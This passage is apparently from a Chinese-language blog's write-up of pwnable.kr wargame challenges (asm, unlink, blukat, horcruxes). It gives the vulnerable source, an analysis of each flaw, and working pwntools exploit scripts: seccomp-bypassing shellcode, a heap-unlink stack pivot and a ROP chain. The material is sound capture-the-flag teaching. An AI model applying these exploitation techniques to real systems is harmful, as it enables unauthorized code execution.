seccomp (short for secure computing mode) is a computer security facility in the Linux kernel. seccomp allows a process to make a one-way transition into a “secure” state where it cannot make any system calls except exit(), sigreturn(), read() and write() to already-open file descriptors. Should it attempt any other system calls, the kernel will terminate the process with SIGKILL or SIGSYS. In this sense, it does not virtualize the system’s resources but isolates the process from them entirely.

通过此特性初始化SCMP_ACT_KILL限制了所有 syscall,后添加规则允许使用的仅为 open read write exit exit_group

我们需要做的便是:

  1. 打开(open) flag 文件
  2. 读取(read) flag 文件
  3. 写(write) 文件内容写到标准输出(stdout)

对入门不会生成 shellcode 的我,pwnlib 提供了 shellcraft,注意发送时需要调用 asm 方法编译汇编码


从上面的资料可知文件句柄是通过 rax 返回的,所以我们直接从 rax 读取文件即可,但实际上linux文件句柄(fd)是从 3 开始增长的,因为我们第一个也只打开一个,所以必定是 3

解题

from pwn import *

context.log_level = 'DEBUG'
context(arch='amd64', os='linux')

r = remote('pwnable.kr', 9026)
sc = shellcraft.open("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
# sc += shellcraft.read("rax", "rsp", 100)
sc += shellcraft.read(3, "rsp", 100)
sc += shellcraft.write(1, "rsp", 100)

r.send(asm(sc))
r.recvline()

题目

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;

void shell(){
    system("/bin/sh");
}

void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;

    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);

    // exploit this unlink!
    unlink(B);
    return 0;
}

分析

首先先看了 double-free 的利用,即 unlink 的一种利用是通过劫持GOT表实现命令执行,但是题目中 Unlink 后没有跟其他函数的,所以无法利用

那么能否直接操控 main 返回地址来实现跳转到 shellcode 执行呢?看下 main 最后的汇编是怎么写的

0x080485ff <+208>:    mov    ecx,DWORD PTR [ebp-0x4]
0x08048602 <+211>:    leave  
0x08048603 <+212>:    lea    esp,[ecx-0x4]
0x08048606 <+215>:    ret 

翻译过来

mov    ecx,[ebp-0x4]
mov    esp,ebp
pop    ebp
lea    esp,[ecx-0x4]
ret

此时栈内分布

-w790

我们无法直接控制 eip,那么能否通过控制 ebp -> ecx -> esp -> eip 实现呢

我们首先关注到 unlink

BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;

如下:

BK = *(P + 4)
FD = *(P)
FD -> bk = BK -> *(*(P)+4) = *(P + 4)
BK -> fd = FD -> *(*(P+4)) = *(P)

更直白的说

*(*(P->fd) + 4) = *(P->bk) 将 fd 的值 +4 作为地址,其值为 bk 的值
*(*(P->bk)) = *(P->fd) 将 bk 的值作为地址,其值为 fd 的值

即我们通过控制 fd bk 可以获取到两次写内存的机会

  1. 利用 BK -> fd = FD,bk 控制地址,fd 控制值
  2. 利用 FD -> bk = BK,fd 控制地址,bk 控制值

其次把已知条件列出来

  • eip = [esp]
  • esp = ecx - 0x4
  • ecx = [ebp - 0x4]

再根据栈中内容,可得

  • stack_A + 0x10 = ebp - 0x4

由于我们可以通过 A->buf 进行 overflow,假设我们将func_shell放在buf前4个字节,同时我们把buf地址标记为 shellcode,那么就有

  • [heap_A + 0x8] = [shellcode] = func_shell = eip
  • shellcode = esp = ecx - 0x4 => heap_A + 0x8 = ecx - 0x4

我们的目标是通过控制 fd bk 进而控制栈内存储的 ecx,进而控制 esp eip,我们先选取bk 地址 fd 值的利用方式即BK->fd=FD,有

  • [bk] = &ecx
  • [fd] = ecx

结合上面的条件,推得

  • [bk] = ebp - 0x4 = stack_A + 0x10
  • [fd] = heap_A + 0xc

以此设置布局如下:

0                 4                 8
+-----------------+-----------------+ heapA
|        fd       |        bk       |
+-----------------+-----------------+ A -> buf
|   *func_shell   |    ~padding~    |
+-----------------+-----------------+ heapB-header
|             ~padding~             |
+-----------------+-----------------+ heapB
|   heap_A + 0xc  |  stack_A + 0x10 |
+-----------------+-----------------+ 

假如我们选择fd 地址 bk 值的方式FD->bk=BK,有

  • [bk] = ecx
  • [fd] + 0x4 = &ecx

推得

  • [bk] = heap_A + 0xc
  • [fd] = ebp - 0x4 - 0x4 = stack_A + 0x10 - 0x4 = stack_A + 0xc
0                 4                 8
+-----------------+-----------------+ heapA
|        fd       |        bk       |
+-----------------+-----------------+ A -> buf
|   *func_shell   |    ~padding~    |
+-----------------+-----------------+ heapB-header
|             ~padding~             |
+-----------------+-----------------+ heapB
|  stack_A + 0xc  |   heap_A + 0xc  |
+-----------------+-----------------+ 

解题

做完题后再想了几遍构造原理,感觉通透了不少

from pwn import *

context.log_level = 'info'

is_remote = True
method = 2 # 1 or 2

if is_remote:
    s = ssh(host='pwnable.kr', port=2222, user='unlink', password='guest')
    p = s.process("/home/unlink/unlink")
else:
    p = process("/home/pwn/Desktop/unlink")

p.recvuntil("here is stack address leak: ")
stack_addr = int(p.recv(10), 16)
p.recvuntil("here is heap address leak: ")
heap_addr = int(p.recv(9), 16)
p.recvuntil("get shell!\n")

shell_addr = 0x080484eb

if method == 1:
    fd = heap_addr + 0xc
    bk = stack_addr + 0x10
else:
    fd = stack_addr + 0xc
    bk = heap_addr + 0xc

payload = p32(shell_addr) + b"."*12 + p32(fd) + p32(bk)

p.sendline(payload)
p.interactive()

20. blukat

题目

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
char flag[100];
char password[100];
char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";
void calc_flag(char* s){
    int i;
    for(i=0; i<strlen(s); i++){
        flag[i] = s[i] ^ key[i];
    }
    printf("%s\n", flag);
}
int main(){
    FILE* fp = fopen("/home/blukat/password", "r");
    fgets(password, 100, fp);
    char buf[100];
    printf("guess the password!\n");
    fgets(buf, 128, stdin);
    if(!strcmp(password, buf)){
        printf("congrats! here is your flag: ");
        calc_flag(password);
    }
    else{
        printf("wrong guess!\n");
        exit(0);
    }
    return 0;
}

分析

…脑洞题,password为cat: password: Permission denied,就是为了提醒注意文件权限

解题

from pwn import *

context.log_level = 'debug'


s = ssh(host='pwnable.kr', port=2222, user='blukat', password='guest')
p = s.process("/home/blukat/blukat")

p.recvuntil("guess the password!\n")
p.sendline("cat: password: Permission denied")
p.recv()

21. horcruxes

题目

需要sudo apt install libseccomp-dev:i386

分析

有个名为 ropme 的函数,主要关注这里,其功能判断输入值是否为 sum,是的话则返回 flag
可以明显看到数组s有溢出,但是怎么利用呢?

  1. 直接控制 ropme 返回地址到 open flag 的地址
  2. 获取 a~g 的变量值通过 sum 验证

-w469

首先检查看到是没有开启 ASLR 地址是固定利用的,接着往下走

-w307

第一种方法中,由于跳转地址含有0x0a导致无法有效从 gets 输入,所以只能考虑第二种方法

-w469

我们看到 A~G 函数都是无参函数,且执行 printf 后 ret 返回,所以在栈上表现为返回执行原函数下一地址指令

-w474

我们通过把栈覆盖如下,当输入不等于 sum 时,ropme 即会跳转调用 A 函数输出 a,当从 A 函数返回时便会调用 B 函数……当 A~G 都执行完毕后计算 sum 值,再次调回 ropme 输入正确答案即可

-w304

解题

from pwn import *

context(arch='i386', os='linux')

is_remote = 1

if is_remote:
    p = remote(host='pwnable.kr', port=9032)
else:
    p = process("/home/pwn/Desktop/horcruxes")

payload = b'.' * 0x78
payload += p32(0x809fe4b) # A
payload += p32(0x809fe6a) # B
payload += p32(0x809fe89) # C
payload += p32(0x809fea8) # D
payload += p32(0x809fec7) # E
payload += p32(0x809fee6) # F
payload += p32(0x809ff05) # G
payload += p32(0x809fffc) # ropme

p.sendlineafter("Select Menu:", '1')
p.sendlineafter("How many EXP did you earned? : ", payload)
p.recvline()

sum = 0
for i in range(7):
    msg = p.recvline().decode()
    num = int(msg.strip(')\n').split('+')[1])
    sum += num

p.sendlineafter("Select Menu:", '1')
p.sendlineafter("How many EXP did you earned? : ", str(sum))
log.info(p.recvline())

参考

  1. LINUX SYSTEM CALL TABLE FOR X86 64
  2. linux程序的常用保护机制
  3. Linux 内存管理与堆
  4. Linux堆内存管理深入分析(上)
  5. Linux堆内存管理深入分析(下)
  6. 深入理解堆的实现
  7. 从栈溢出开始,教你写Shellcode和ROP链
CATALOG
  1. 1. 准备
  2. 2. 1. [fd]
    1. 2.1. 题目
    2. 2.2. 分析
    3. 2.3. 解题
  3. 3. 2. collision
    1. 3.1. 题目
    2. 3.2. 分析
    3. 3.3. 解题
  4. 4. 3. bof
    1. 4.1. 题目
    2. 4.2. 分析
    3. 4.3. 解题
  5. 5. 4. flag
    1. 5.1. 题目
    2. 5.2. 分析
    3. 5.3. 解题
  6. 6. 5. passcode
    1. 6.1. 题目
    2. 6.2. 分析
    3. 6.3. 解题
  7. 7. 6. random
    1. 7.1. 题目
    2. 7.2. 分析
    3. 7.3. 解题
  8. 8. 7. input
    1. 8.1. 题目
    2. 8.2. 分析
    3. 8.3. 解题
  9. 9. 8. leg
    1. 9.1. 题目
    2. 9.2. 分析
    3. 9.3. 解题
  10. 10. 9. mistake
    1. 10.1. 题目
    2. 10.2. 分析
    3. 10.3. 解题
  11. 11. 10. shellshock
    1. 11.1. 题目
    2. 11.2. 分析
    3. 11.3. 解题
  12. 12. 11. coin
    1. 12.1. 题目
    2. 12.2. 分析
    3. 12.3. 解题
  13. 13. 12. blackjeck
    1. 13.1. 题目
    2. 13.2. 分析
    3. 13.3. 解题
  14. 14. 13. lotto
    1. 14.1. 题目
    2. 14.2. 分析
    3. 14.3. 解题
  15. 15. 14. cmd1
    1. 15.1. 题目
    2. 15.2. 分析
    3. 15.3. 解题
  16. 16. 15. cmd2
    1. 16.1. 题目
    2. 16.2. 分析
    3. 16.3. 解题
  17. 17. 16. uaf
    1. 17.1. 题目
    2. 17.2. 分析
    3. 17.3. 解题
  18. 18. 17. memcpy
    1. 18.1. 题目
    2. 18.2. 分析
    3. 18.3. 解题
  19. 19. 18. asm
    1. 19.1. 题目
    2. 19.2. 分析
    3. 19.3. 解题
  20. 20. 19. unlink
    1. 20.1. 题目
    2. 20.2. 分析
    3. 20.3. 解题
  21. 21. 20. blukat
    1. 21.1. 题目
    2. 21.2. 分析
    3. 21.3. 解题
  22. 22. 21. horcruxes
    1. 22.1. 题目
    2. 22.2. 分析
    3. 22.3. 解题
  23. 23. 参考